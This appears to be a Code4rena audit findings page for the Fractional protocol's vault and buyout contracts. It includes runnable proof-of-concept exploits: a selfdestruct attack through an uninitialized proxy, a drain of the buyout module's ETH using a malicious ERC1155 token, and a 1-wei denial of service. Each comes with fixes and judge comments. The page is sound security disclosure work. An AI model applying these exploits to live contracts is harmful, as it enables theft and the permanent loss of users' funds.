Platform: Code4rena
Start Date: 07/07/2022
Pot Size: $75,000 USDC
Total HM: 32
Participants: 141
Period: 7 days
Judge: HardlyDifficult
Total Solo HM: 4
Id: 144
League: ETH
Rank: 13/141
Findings: 7
Award: $1,920.97
🌟 Selected for report: 4
🚀 Solo Findings: 1
🌟 Selected for report: 0xA5DF
Also found by: 0x, 0xsanson, 242, Critical, sorrynotsorry, unforgiven, zzzitron
267.7106 USDC - $267.71
https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultFactory.sol#L19-L22 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L11-L25
This is a basic uninitialized proxy bug, the VaultFactory
creates a single implementation of Vault
and then creates a proxy to that implementation every time a new vault needs to be deployed.
The problem is that that implementation vault is not initialized , which means that anybody can initialize the contract to become the owner, and then destroy it by doing a delegate call (via the execute
function) to a function with the selfdestruct
opcode.
Once the implementation is destroyed all of the vaults will be unusable. And since there's no logic in the proxies to update the implementation - that means this is permanent (i.e. there's no way to call any function on any vault anymore, they're simply dead).
This is a critical bug, since ALL assets held by ALL vaults will be lost. There's no way to transfer them out and there's no way to run any function on any vault.
Also, there's no way to fix the current deployed contracts (modules and registry), since they all depend on the factory vault, and there's no way to update them to a different factory. That means Fractional would have to deploy a new set of contracts after fixing the bug (this is a relatively small issue though).
I created the PoC based on the scripts/deploy.js
file, here's a stripped-down version of that:
const { ethers } = require("hardhat"); const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"; async function main() { const [deployer, attacker] = await ethers.getSigners(); // Get all contract factories const BaseVault = await ethers.getContractFactory("BaseVault"); const Supply = await ethers.getContractFactory("Supply"); const VaultRegistry = await ethers.getContractFactory("VaultRegistry"); // Deploy contracts const registry = await VaultRegistry.deploy(); await registry.deployed(); const supply = await Supply.deploy(registry.address); await supply.deployed(); // notice that the `factory` var in the original `deploy.js` file is a different factory than the registry's const registryVaultFactory = await ethers.getContractAt("VaultFactory", await registry.factory()); const implVaultAddress = await registryVaultFactory.implementation(); const vaultImpl = await ethers.getContractAt("Vault", implVaultAddress); const baseVault = await BaseVault.deploy(registry.address, supply.address); await baseVault.deployed(); // proxy vault - the vault that's used by the user let proxyVault = await deployVault(baseVault, registry, attacker); const destructorFactory = await ethers.getContractFactory("Destructor"); const destructor = await destructorFactory.deploy(); let destructData = destructor.interface.encodeFunctionData("destruct", [attacker.address]); const abi = new ethers.utils.AbiCoder(); const leafData = abi.encode(["address", "address", "bytes4"], [attacker.address, destructor.address, destructor.interface.getSighash("destruct")]); const leafHash = ethers.utils.keccak256(leafData); await vaultImpl.connect(attacker).init(); await vaultImpl.connect(attacker).setMerkleRoot(leafHash); // we don't really need to do this ownership-transfer, because the contract is still usable till the end of the tx, but I'm doing it just in case await vaultImpl.connect(attacker).transferOwnership(ZERO_ADDRESS); // before: everything is fine let implVaultCode = await ethers.provider.getCode(implVaultAddress); console.log("Impl Vault code size before:", implVaultCode.length - 2); // -2 for the 0x prefix let owner = await proxyVault.owner(); console.log("Proxy Vault works fine, owner is: ", owner); await vaultImpl.connect(attacker).execute(destructor.address, destructData, []); // after: vault implementation is destructed implVaultCode = await ethers.provider.getCode(implVaultAddress); console.log("\nVault code size after:", implVaultCode.length - 2); // -2 for the 0x prefix try { owner = await proxyVault.owner(); } catch (e) { console.log("Proxy Vault isn't working anymore.", e.toString().substring(0, 300)); } } async function deployVault(baseVault, registry, attacker) { const nodes = await baseVault.getLeafNodes(); const tx = await registry.connect(attacker).create(nodes[0], [], []); const receipt = await tx.wait(); const vaultEvent = receipt.events.find(e => e.address == registry.address); const newVaultAddress = vaultEvent.args._vault; const newVault = await ethers.getContractAt("Vault", newVaultAddress); return newVault; } if (require.main === module) { main() }
Destructor.sol
file:
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; contract Destructor{ function destruct(address payable dst) public { selfdestruct(dst); } }
Output:
Impl Vault code size before: 10386 Proxy Vault works fine, owner is: 0x5FbDB2315678afecb367f032d93F642f64180aa3 Vault code size after: 0 Proxy Vault isn't working anymore. Error: call revert exception [ See: https://links.ethers.org/v5-errors-CALL_EXCEPTION ] (method="owner()", data="0x", errorArgs=null, errorName=null, errorSignature=null, reason=null, code=CALL_EXCEPTION, version=abi/5.6.2)
Sidenote: as the comment in the code says, we don't really need to transfer the ownership to the zero address.
It's just that Foundry's forge
did revert the destruction when I didn't do it, with the error of OwnerChanged
(i.e. once the selfdestruct
was called the owner became the zero address, which is different than the original owner) so I decided to add this just in case.
This is probably a bug in forge
, since the contract shouldn't destruct till the end of the tx (Hardhat indeed didn't revert the destruction even when the attacker was the owner).
Hardhat
Add init in Vault
's constructor (and make the init
function public
instead of external
):
contract Vault is IVault, NFTReceiver { /// @notice Address of vault owner address public owner; /// ... constructor(){ // initialize implementation init(); } /// @dev Initializes nonce and proxy owner function init() public {
Alternately you can add init in VaultFactory.sol
constructor, but I think initializing in the contract itself is a better practice.
/// @notice Initializes implementation contract constructor() { implementation = address(new Vault()); Vault(implementation).init(); }
After mitigation the PoC will output this:
Error: VM Exception while processing transaction: reverted with custom error 'Initialized("0xa16E02E87b7454126E5E10d957A927A7F5B5d2be", "0x70997970C51812dc3A010C7d01b50e0d17dc79C8", 1)' at Vault._execute (src/Vault.sol:124) at Vault.init (src/Vault.sol:24) at HardhatNode._mineBlockWithPendingTxs ....
#0 - stevennevins
2022-07-19T15:06:50Z
Acknowledging the severity of this and will fix it. Thank you for reporting @0xA5DF
#1 - HardlyDifficult
2022-07-26T14:14:25Z
Agree this is High risk. If this had gone unnoticed for a period of time, then later self destructing the implementation contract would brick all vaults and lose funds for potentially many users.
Divisions in EVM are rounded down, which means when the fraction price is close to 1 (e.g. 0.999) it would effectively be zero, when it's close to 2 (1.999) it would be rounded to 1 - loosing close to 50% of the intended price.
buyoutPrice - fractionPrice*totalSupply
) goes to those who cash out their fractions after the buyout ends.
I've added the following tests to test/Buyout.t.sol
.
// add Eve to the list of users function setUp() public { setUpContract(); alice = setUpUser(111, 1); bob = setUpUser(222, 2); eve = setUpUser(333, 3); vm.label(address(this), "BuyoutTest"); vm.label(alice.addr, "Alice"); vm.label(bob.addr, "Bob"); vm.label(eve.addr, "Eve"); } /////////////////////////////////// // a scenario where the price is zero, and the proposer ends up loosing all his fractions function test_bugFractionPriceIsZero() public{ uint totalSupply = 21e17; uint BOB_INITIAL_BALANCE = totalSupply / 2; initializeBuyout(alice, bob, totalSupply, BOB_INITIAL_BALANCE, true); // Bob starts a buyout with 1 ether for the other half of total fractions bob.buyoutModule.start{value: 1 ether}(vault); eve.buyoutModule.buyFractions{value: 0}(vault, BOB_INITIAL_BALANCE); // Eve got all Bob's fractions for the very tempting price of 0 assertEq(getFractionBalance(eve.addr), BOB_INITIAL_BALANCE); } //////////////////////////////// // a scenario where the price is 1, and the fraction price ends up being // 50% of intended price. // The user who cashes his fractions after the sale gets the difference (0.9 ether in this case). function test_bugFractionPriceIsOne() public{ uint totalSupply = 11e17; uint BOB_INITIAL_BALANCE = totalSupply / 10; initializeBuyout(alice, bob, totalSupply, BOB_INITIAL_BALANCE, true); uint aliceFractionBalance = totalSupply * 9 / 10; uint256 buyoutPrice = 2 ether; uint256 fractionPrice = buyoutPrice / totalSupply; assertEq(fractionPrice, 1); // We need to approve the buyout even though Eve doesn't hold any fractions eve.ferc1155 = new FERC1155BS(address(0), 333, token); setApproval(eve, buyout, true); eve.buyoutModule.start{value: buyoutPrice}(vault); // alice selling all her fractions alice.buyoutModule.sellFractions(vault, aliceFractionBalance); // 4 days till buyout ends vm.warp(block.timestamp + 4.1 days); bob.buyoutModule.end(vault, burnProof); bob.buyoutModule.cash(vault, burnProof); // Alice revenue should be about 0.99 ether uint256 aliceExpectedETHRevenue = fractionPrice * aliceFractionBalance; // Bob revenue should be about 1.01 ether uint256 bobExpectedETHRevenue = buyoutPrice - aliceExpectedETHRevenue; // Bob earned more than Alice even though Alice had 9 times his fractions // This means Bob got ~9 times ETH per fraction than Alice assertTrue(bobExpectedETHRevenue > aliceExpectedETHRevenue); // Just make sure they have the expected balance assertEq(getETHBalance(alice.addr), aliceExpectedETHRevenue + INITIAL_BALANCE); assertEq(getETHBalance(bob.addr), bobExpectedETHRevenue + INITIAL_BALANCE); }
Foundry
buyoutPrice = fractionPrice * totalSupply
(msg.value * 100) /(100 - ((depositAmount * 100) / totalSupply))
which has a rounding of up to 1%)Proposed code for solution A:
/// @param _vault Address of the vault - function start(address _vault) external payable { + function start(address _vault, uint256 _fractionPrice) external payable { // Reverts if ether deposit amount is zero if (msg.value == 0) revert ZeroDeposit(); // Reverts if address is not a registered vault @@ -66,6 +66,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { (, , State current, , , ) = this.buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert InvalidState(required, current); + if (fractionPrice == 0) revert ZeroFractionPrice(); @@ -83,9 +84,10 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { // Calculates price of buyout and fractions // @dev Reverts with division error if called with total supply of tokens - uint256 buyoutPrice = (msg.value * 100) / - (100 - ((depositAmount * 100) / totalSupply)); - uint256 fractionPrice = buyoutPrice / totalSupply; + uint256 fractionPrice = _fractionPrice; + uint256 buyoutPrice = fractionPrice * totalSupply; + uint256 requiredEth = fractionPrice * (totalSupply - depositAmount); + if (msg.value != requiredEth) revert InvalidPayment(); // Sets info mapping of the vault address to auction struct
buyoutPrice
totalSupply = 2.1e18
) the buyout price can be either 2.1 ETH or 4.2 ETH, if the user wants to offer 1.5 ETH or 3 ETH he can't do it.price = (buyoutPrice * amount) / totalSupply
(ethDeposit * 1e6) / (1e6 - ((fractionDeposit * 1e6) / totalSupply))
Proposed code for solution B:
--- a/src/interfaces/IBuyout.sol +++ b/src/interfaces/IBuyout.sol @@ -20,7 +20,7 @@ struct Auction { // Enum state of the buyout auction State state; // Price of fractional tokens - uint256 fractionPrice; + uint256 buyoutPrice; // Balance of ether in buyout pool uint256 ethBalance; // Total supply recorded before a buyout started --- a/src/modules/Buyout.sol +++ b/src/modules/Buyout.sol @@ -85,14 +85,14 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { // @dev Reverts with division error if called with total supply of tokens uint256 buyoutPrice = (msg.value * 100) / (100 - ((depositAmount * 100) / totalSupply)); - uint256 fractionPrice = buyoutPrice / totalSupply; + uint256 estimatedFractionPrice = buyoutPrice / totalSupply; // Sets info mapping of the vault address to auction struct buyoutInfo[_vault] = Auction( block.timestamp, msg.sender, State.LIVE, - fractionPrice, + // replace fraction price with buyout price in the Auction struct + buyoutPrice, msg.value, totalSupply ); @@ -102,7 +102,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { msg.sender, block.timestamp, buyoutPrice, - fractionPrice + estimatedFractionPrice ); } @@ -115,7 +115,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { _vault ); if (id == 0) revert NotVault(_vault); - (uint256 startTime, , State current, uint256 fractionPrice, , ) = this + (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 totalSupply ) = this .buyoutInfo(_vault); // Reverts if auction state is not live State required = State.LIVE; @@ -135,7 +135,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { ); // Updates ether balance of pool - uint256 ethAmount = fractionPrice * _amount; + uint256 ethAmount = buyoutPrice * _amount / totalSupply; buyoutInfo[_vault].ethBalance -= ethAmount; // Transfers ether amount to caller _sendEthOrWeth(msg.sender, ethAmount); @@ -153,7 +153,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { ); if (id == 0) revert NotVault(_vault); // Reverts if auction state is not live - (uint256 startTime, , State current, uint256 fractionPrice, , ) = this + (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 totalSupply ) = this .buyoutInfo(_vault); State required = State.LIVE; if (current != required) revert InvalidState(required, current); @@ -161,8 +161,13 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { uint256 endTime = startTime + REJECTION_PERIOD; if (block.timestamp > endTime) revert TimeExpired(block.timestamp, endTime); + + uint256 price = (buyoutPrice * _amount) / totalSupply; + if (price * totalSupply < buyoutPrice * _amount){ + price++; + } // Reverts if payment amount does not equal price of fractional amount - if (msg.value != fractionPrice * _amount) revert InvalidPayment(); + if (msg.value != price) revert InvalidPayment(); // Transfers fractional tokens to caller IERC1155(token).safeTransferFrom(
#0 - 0x0aa0
2022-07-21T17:17:28Z
Duplicate of #647
#1 - HardlyDifficult
2022-08-01T23:33:19Z
Rounding impacting fractionPrice
can significantly impact other math in this module. I think this is a High risk issue, given the right circumstances such as the example above where the buy price becomes zero, assets are compromised.
Selecting this instance as the primary issue for including test code and the detailed recs.
🌟 Selected for report: berndartmueller
Also found by: 0xA5DF, 0xSky, 0xsanson, ElKu, Kumpa, Treasure-Seeker, TrungOre, cccz, cryptphi, hansfriese, jonatascm, kenzo, minhquanym, s3cunda, shenwilly, smiling_heretic, zzzitron
41.4866 USDC - $41.49
https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L267-L270
The Buyout
module manages the balance of each vault separately, updating each vault's balance when somebody sends/withdraws from it.
However, the function Buyout.cash
doesn't update the ethBalance after sending eth to a user.
That means that if 2 or more users cash their fractions the last ones will get more than their share at the expense of the Buyout module (i.e. at the expense of other buyouts that are running).
A well planned attack can withdraw ~1/4 of the investment (i.e. the buyout the attacker starts) each tx.
A more efficient way (~1/2 of the investment per tx) to exploit this bug would be using a malicious token (using a separate low bug, which allows to register a malicious token) as demonstrated in the second PoC.
All of the balance of the Buyout module (which can hold the balance for multiple buyouts of different vaults at the same time) can be drained by an attacker.
In the following test (added to test/Buyout.t.sol
) Bob & Alice were able to steal almost the entire balance of the buyout module.
function test_bugCashInParts() public { uint256 TOTAL_SUPPLY = 1e12; initializeBuyout(alice, bob, TOTAL_SUPPLY, 0, true); // simulate buyout balance growing by other buyouts starting uint256 buyoutIncomeFromOtherBuyouts = 10 ether; vm.deal(buyout, buyoutIncomeFromOtherBuyouts); uint256 buyoutPrice = 1 ether; // Eve start a buyout and Alice sells 51% of fractions to the buyuot eve.buyoutModule.start{value: buyoutPrice}(vault); alice.buyoutModule.sellFractions(vault,TOTAL_SUPPLY * 51 / 100); // let 4+ days pass, and end the buyout vm.warp(block.timestamp + 4.1 days); bob.buyoutModule.end(vault, burnProof); (address token, uint256 id) = registry.vaultToToken(vault); alice.ferc1155 = new FERC1155BS(address(0), 111, token); alice.ferc1155.setApprovalForAll(alice.addr,true); uint256 aliceBalance = getFractionBalance(alice.addr); // Alice hold most of the fractions, she'll cash first and then Bob while(aliceBalance > 0){ uint toSend = aliceBalance - (aliceBalance / 2); alice.ferc1155.safeTransferFrom(alice.addr, bob.addr, id, toSend, ""); bob.buyoutModule.cash(vault, burnProof); aliceBalance = getFractionBalance(alice.addr); } // the revenue Bob and Alice should have if there was no bug uint256 expectedRevenue = buyoutPrice; // the revenue Bob and Alice actually made uint256 actualRevenue = getETHBalance(bob.addr) + getETHBalance(alice.addr) - 2 * INITIAL_BALANCE; // estimated amount of ETH stolen by Alice & Bob uint256 ethStolen = 9.4 ether; // assert that the amount stolen is reflected in the balances assertLt(getETHBalance(buyout), buyoutIncomeFromOtherBuyouts - ethStolen); assertGt(actualRevenue, expectedRevenue + ethStolen); }
Another way to steal is to use a malicious token, this is more efficient since we can steal ~1/2 of the investment each tx.
const { ethers } = require("hardhat"); const hre = require("hardhat"); const {getContracts} = require("./deploy"); const TOTAL_SUPPLY =10000; async function setUpMaliciousFERC1155(mintTo, registry, deployer, merkleRoot) { let maliciousTokenDeployer = await ethers.getContractFactory("MaliciousFERC1155"); let maliciousToken = await maliciousTokenDeployer.deploy(); await maliciousToken.changeController(deployer.address); let tx = await registry.connect(deployer).createInCollection(merkleRoot, maliciousToken.address, [],[]); let receipt = await tx.wait(); let maliciousVault = receipt.events.filter(x => x.event == "VaultDeployed")[0].args._vault; let [token, id] = await registry.vaultToToken(maliciousVault); await maliciousToken.freeMint(mintTo, id, TOTAL_SUPPLY, "0x"); return [maliciousVault, maliciousToken, id]; } async function main() { let [bob, alice, eve] = await ethers.getSigners(); let contracts = await getContracts(); let leafs = await contracts.Buyout.getLeafNodes(); let merkleRoot = await contracts.BaseVault.getRoot(leafs); let burnLeafIndex = 0; let burnProof = await contracts.BaseVault.getProof(leafs, burnLeafIndex); let bobInitialBalance = await bob.getBalance(); let [malVault, malToken, malID] = await setUpMaliciousFERC1155(bob.address, contracts.VaultRegistry, bob, merkleRoot); // simulate buyout balance growing by other buyouts starting let buyoutIncomeFromOtherBuyouts = ethers.utils.parseEther("10"); await network.provider.send("hardhat_setBalance", [ contracts.Buyout.address, buyoutIncomeFromOtherBuyouts._hex.replace(/0x0+/, "0x"), ]); let buyoutPrice = ethers.utils.parseEther("1"); await contracts.Buyout.connect(eve).start(malVault, {value: buyoutPrice}); await contracts.Buyout.connect(bob).sellFractions(malVault, TOTAL_SUPPLY * 60 / 100); let fourPlusDays = 5 * 24 * 60 * 60; await network.provider.send("evm_increaseTime", [fourPlusDays]) await contracts.Buyout.connect(eve).end(malVault, burnProof); for(let i = 0; i < 26; i++){ await contracts.Buyout.connect(bob).cash(malVault, burnProof); await malToken.freeMint(bob.address, malID, TOTAL_SUPPLY , "0x"); } let bobBalance = await bob.getBalance(); let bobAddedBalance = bobBalance.sub(bobInitialBalance); let bobAddedBalanceEther = ethers.utils.formatEther(bobAddedBalance); console.log(`Bob's added balance: ${bobAddedBalanceEther} ETH`); } if (require.main === module) { main(); }
Output - Bob's added balance: 10.99 ETH
(i.e. Bob stole 9.99 ETH)
Code for MaliciousFERC1155
contract used above.
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "../FERC1155.sol"; import {IBuyout} from "../interfaces/IBuyout.sol"; /// @title FERC1155 /// @author Fractional Art /// @notice An ERC-1155 implementation for Fractions contract MaliciousFERC1155 is FERC1155 { function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data ) public virtual override(FERC1155) { // require( // msg.sender == _from || // isApprovedForAll[_from][msg.sender] || // isApproved[_from][msg.sender][_id], // "NOT_AUTHORIZED" // ); balanceOf[_from][_id] -= _amount; balanceOf[_to][_id] += _amount; emit TransferSingle(msg.sender, _from, _to, _id, _amount); require( _to.code.length == 0 ? _to != address(0) : INFTReceiver(_to).onERC1155Received( msg.sender, _from, _id, _amount, _data ) == INFTReceiver.onERC1155Received.selector, "UNSAFE_RECIPIENT" ); } /// @notice Updates the controller address for the FERC1155 token contract /// @param _newController Address of new controlling entity function changeController(address _newController) external { if (_newController == address(0)) revert ZeroAddress(); _controller = _newController; emit ControllerTransferred(_newController); } function freeMint( address _to, uint256 _id, uint256 _amount, bytes memory _data ) external { _mint(_to, _id, _amount, _data); totalSupply[_id] += _amount; } function burn( address _from, uint256 _id, uint256 _amount ) external override { _burn(_from, _id, _amount); totalSupply[_id] -= _amount; } }
Foundry, Hardhat
Update the balance before sending the buyoutShare
uint256 buyoutShare = (tokenBalance * ethBalance) / (totalSupply + tokenBalance); + buyoutInfo[_vault].ethBalance -= buyoutShare; _sendEthOrWeth(msg.sender, buyoutShare); // Emits event for cashing out of buyout pool
#0 - ecmendenhall
2022-07-15T02:53:48Z
🌟 Selected for report: 0xA5DF
Lines: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L118-L138 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L156-L165
In the buyout module when a buyout starts - the module stores the fractionPrice
, and when a user wants to buy/sell fractions the fractionPrice
is loaded from storage and based on that the module determines the price of the fractions.
The issue here is that the total supply might change between the time the buyout start till the buy/sell time, and the fractionPrice
stored in the module might not represent the real price anymore.
Currently there are no module that mint/burn supply at the time of buyout, but considering that Fractional is an extendible platform - Fractional might add one or a user might create his own module and create a vault with it. An example of an innocent module that can change the total supply - a split module, this hypothetical module may allow splitting a coin (multiplying the balance of all users by some factor, based on a vote by the holders, the same way QuickSwap did at March)). If that module is used in the middle of the buyout, that fraction price would still be based on the old supply.
Consider the following scenario
Here's a test (added to the test/Buyout.t.sol
file) demonstrating this scenario (test passes = the bug exists).
function testSplit_bug() public { initializeBuyout(alice, bob, TOTAL_SUPPLY, 0, true); // Bob proposes a buyout for 1 ether for the entire vault uint buyoutPrice = 1 ether; bob.buyoutModule.start{value: buyoutPrice}(vault); // simulate a x4 split // Alice is the only holder so we need to multiply only her balance x4 bytes memory data = abi.encodeCall( Supply.mint, (alice.addr, TOTAL_SUPPLY * 3) ); address supply = baseVault.supply(); Vault(payable(vault)).execute(supply, data, new bytes32[](0)); // Alice now sells only 1/4 of the total supply // (TOTAL_SUPPLY is now 1/4 of the actual total supply) alice.buyoutModule.sellFractions(vault, TOTAL_SUPPLY); // Alice got 1 ETH and still holds 3/4 of the vault's fractions assertEq(getETHBalance(alice.addr), buyoutPrice + INITIAL_BALANCE); assertEq(getFractionBalance(alice.addr), TOTAL_SUPPLY * 3); }
Trying to create a proof for minting was too much time-consuming, so I just disabled the proof check in Vault.execute
in order to simulate the split:
// if (!MerkleProof.verify(_proof, merkleRoot, leaf)) { // if (msg.sender != owner) // revert NotAuthorized(msg.sender, _target, selector); // }
Foundry
Calculate fraction price at the time of buy/sell according to the current total supply: (Disclosure: this is based on a solution I made for a different bug)
diff --git a/src/interfaces/IBuyout.sol b/src/interfaces/IBuyout.sol index 0e1c9eb..79beb71 100644 --- a/src/interfaces/IBuyout.sol +++ b/src/interfaces/IBuyout.sol @@ -20,7 +20,7 @@ struct Auction { // Enum state of the buyout auction State state; // Price of fractional tokens - uint256 fractionPrice; + uint256 buyoutPrice; // Balance of ether in buyout pool uint256 ethBalance; // Total supply recorded before a buyout started diff --git a/src/modules/Buyout.sol b/src/modules/Buyout.sol index 1557233..d9a6935 100644 --- a/src/modules/Buyout.sol +++ b/src/modules/Buyout.sol @@ -63,10 +63,13 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { ); if (id == 0) revert NotVault(_vault); // Reverts if auction state is not inactive - (, , State current, , , ) = this.buyoutInfo(_vault); + (, , State current, , ,uint256 lastTotalSupply) = this.buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert InvalidState(required, current); + if(totalSupply != lastTotalSupply){ + // emit event / revert / whatever + } // Gets total supply of fractional tokens for the vault uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); // Gets total balance of fractional tokens owned by caller @@ -85,14 +88,14 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { // @dev Reverts with division error if called with total supply of tokens uint256 buyoutPrice = (msg.value * 100) / (100 - ((depositAmount * 100) / totalSupply)); - uint256 fractionPrice = buyoutPrice / totalSupply; + uint256 fractionEstimatedPrice = buyoutPrice / totalSupply; // Sets info mapping of the vault address to auction struct buyoutInfo[_vault] = Auction( block.timestamp, msg.sender, State.LIVE, - fractionPrice, + buyoutPrice, msg.value, totalSupply ); @@ -102,7 +105,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { msg.sender, block.timestamp, buyoutPrice, - fractionPrice + fractionEstimatedPrice ); } @@ -115,8 +118,9 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { _vault ); if (id == 0) revert NotVault(_vault); - (uint256 startTime, , State current, uint256 fractionPrice, , ) = this + (uint256 startTime, , State current, uint256 buyoutPrice, , ) = this .buyoutInfo(_vault); + uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); // Reverts if auction state is not live State required = State.LIVE; if (current != required) revert InvalidState(required, current); @@ -135,7 +139,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { ); // Updates ether balance of pool - uint256 ethAmount = fractionPrice * _amount; + uint256 ethAmount = buyoutPrice * _amount / totalSupply; buyoutInfo[_vault].ethBalance -= ethAmount; // Transfers ether amount to caller _sendEthOrWeth(msg.sender, ethAmount); @@ -153,16 +157,27 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { ); if (id == 0) revert NotVault(_vault); // Reverts if auction state is not live - (uint256 startTime, , State current, uint256 fractionPrice, , ) = this + (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 lastTotalSupply ) = this .buyoutInfo(_vault); + uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); + + if(totalSupply != lastTotalSupply){ + // emit event / revert / whatever + } + State required = State.LIVE; if (current != required) revert InvalidState(required, current); // Reverts if current time is greater than end time of rejection period uint256 endTime = startTime + REJECTION_PERIOD; if (block.timestamp > endTime) revert TimeExpired(block.timestamp, endTime); + + uint256 price = (buyoutPrice * _amount) / totalSupply; + if (price * totalSupply < buyoutPrice * _amount){ + price++; + } // Reverts if payment amount does not equal price of fractional amount - if (msg.value != fractionPrice * _amount) revert InvalidPayment(); + if (msg.value != price) revert InvalidPayment(); @@ -272,6 +287,18 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { emit Cash(_vault, msg.sender, buyoutShare); } + function updateSupply(address _vault) external{ + (, , , uint256 buyoutPrice, , uint256 lastTotalSupply ) = this.buyoutInfo(_vault); + + uint256 newTotalSupply = IVaultRegistry(registry).totalSupply(_vault); + uint256 newEstimatedFractionPrice = buyoutPrice / newTotalSupply; + if(newTotalSupply == lastTotalSupply){ + revert SupplyHasntChanged(); + } + this.buyoutInfo(_vault).lastTotalSupply = newTotalSupply; + emit TotalSupplyChanged(lastTotalSupply, newTotalSupply, newEstimatedFractionPrice); + }
#0 - stevennevins
2022-07-21T18:18:40Z
Duplicate of #148
#1 - HardlyDifficult
2022-08-05T12:42:34Z
This is a valid suggestion to consider, improving robustness for future modules. Lowering risk and merging with the warden's QA report #524
#2 - 0xA5DF
2022-08-11T10:45:53Z
Reading Fractional's docs, it seems that they intend the vaults to use not only their modules, but also from other sources as long as they're trusted:
Additionally, users should only interact with Vaults that have been deployed using modules that they trust, since a malicious actor could deploy a Vault with malicious modules.
An innocent user or an attacker can be creating a split module, even getting it reviewed or audited and then creating a vault with it.
Users would trust the vault, and when the bug is exploited it'd be the Bouyout
module responsibility since it's the one that contains the bug (if your platform is intended to be extendable, then you should take into account any normal behavior that those extensions might have).
#3 - HardlyDifficult
2022-08-11T16:02:58Z
Fair point. I'll reset this to Medium. Thanks
#4 - stevennevins
2022-08-25T16:53:14Z
Just to add, we're not certifying that the Buyout is safe in every context that it could be used in. In that statement we were trying to indicate that you can add modules outside of our curated set, but you would need to be aware of the trust assumptions with regards to both the individual module as well as their composition with others ie rapid inflationary mechanisms and a buyout. I recognize that we could have better handled the case of fraction supply changes during a buyout but inflation was outside of our initial scope for our curated launch. Thank you for reviewing our protocol and providing feedback it's greatly appreciated 🙏
#5 - 0xA5DF
2022-08-26T17:17:55Z
Hi Just wanna address a few points here.
I don't think it's fair towards wardens to exclude whatever wasn't explicitly excluded in the contest description that was given at the beginning of the contest (I don't mean to explicitly address that specific issue, but to have the exclusion clearly inferred from the given contest description).
While sponsors input and the way they view the platform is important, I think what matters the most is the way the users would view it with the given docs and the trust they'll loose in the platform in case of an attack. Since it isn't mentioned anywhere that the modules assume total supply didn't change and that new modules should specifically look into the existing modules, I believe the platform would bare at least some responsibility in case of an attack. Since the platform is intended to be flexible and a supply change is a very normal behavior which should be taken into account.
I'm not sure if C4 is going by OWASP severity assessment model (last reports do mention it, the docs repo does too but the docs website doesn't seem to mention it), but it seems like it's going along the lines of it. So it's worth mentioning that the impact of this issue is high - loss of assets, so under the OWASP model as long as the likelihood of it happening (under normal user behavior) is not negligible I think this should be considered medium.
🌟 Selected for report: 0xA5DF
Also found by: 0x52, 0xDjango, 0xsanson, Lambda, PwnedNoMore, Ruhum, Treasure-Seeker, async, berndartmueller, cccz, hubble, kenzo, scaraven, shenwilly, sseefried, xiaoming90
14.6423 USDC - $14.64
https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L57-L107
The underlying issue here is:
This leads to the fact that with as little as 1 wei a user can block a vault from holding a buyout for 4 days.
This can make the buyout module unavailable for a vault for days. This can either be used in general, or to front-run and prevent a specific buyout offer.
I've added the following test to test/Buyout.t.sol
, and it passes (i.e. the bug exists)
function testStartWith1Wei_bug() public { initializeBuyout(alice, bob, TOTAL_SUPPLY, 0, true); // bob holds zero fractions, and can still start a buyout assertEq(getFractionBalance(bob.addr), 0); // Bob starts a buyout with as little as 1 wei bob.buyoutModule.start{value:1}(vault); // almost 4 days have passed but Alice still // can't start a buyout till Bob's buyout ends vm.warp(block.timestamp + 3.9 days); // the next call would revert with the `invalid state` error vm.expectRevert( abi.encodeWithSelector( IBuyout.InvalidState.selector, 0,1 ) ); // Alice can't start a buyout till eve's buyout ends alice.buyoutModule.start{value: 1 ether}(vault); }
Foundry
While a buyout is running - allow other users to offer a higher buyout
Alternately, you can require a user to hold a minimum percent of fractions to start a buyout, this way if the offer is unrealistically low - the user would loose his fractions. Effectively putting a price tag for DoS-ing a vault.
#0 - 0x0aa0
2022-07-19T17:33:06Z
Duplicate of #87
#1 - HardlyDifficult
2022-08-02T21:53:59Z
#2 - HardlyDifficult
2022-09-01T12:43:53Z
Unrealistic proposals can prevent legit offers from being made for a period of time, and that can be repeated to attempt to DOS. Agree with the warden's severity of Medium risk since there is an opportunity for the legit proposal to be included after the griefing one expires.
Selecting this instance as the primary for including a clear coded POC.
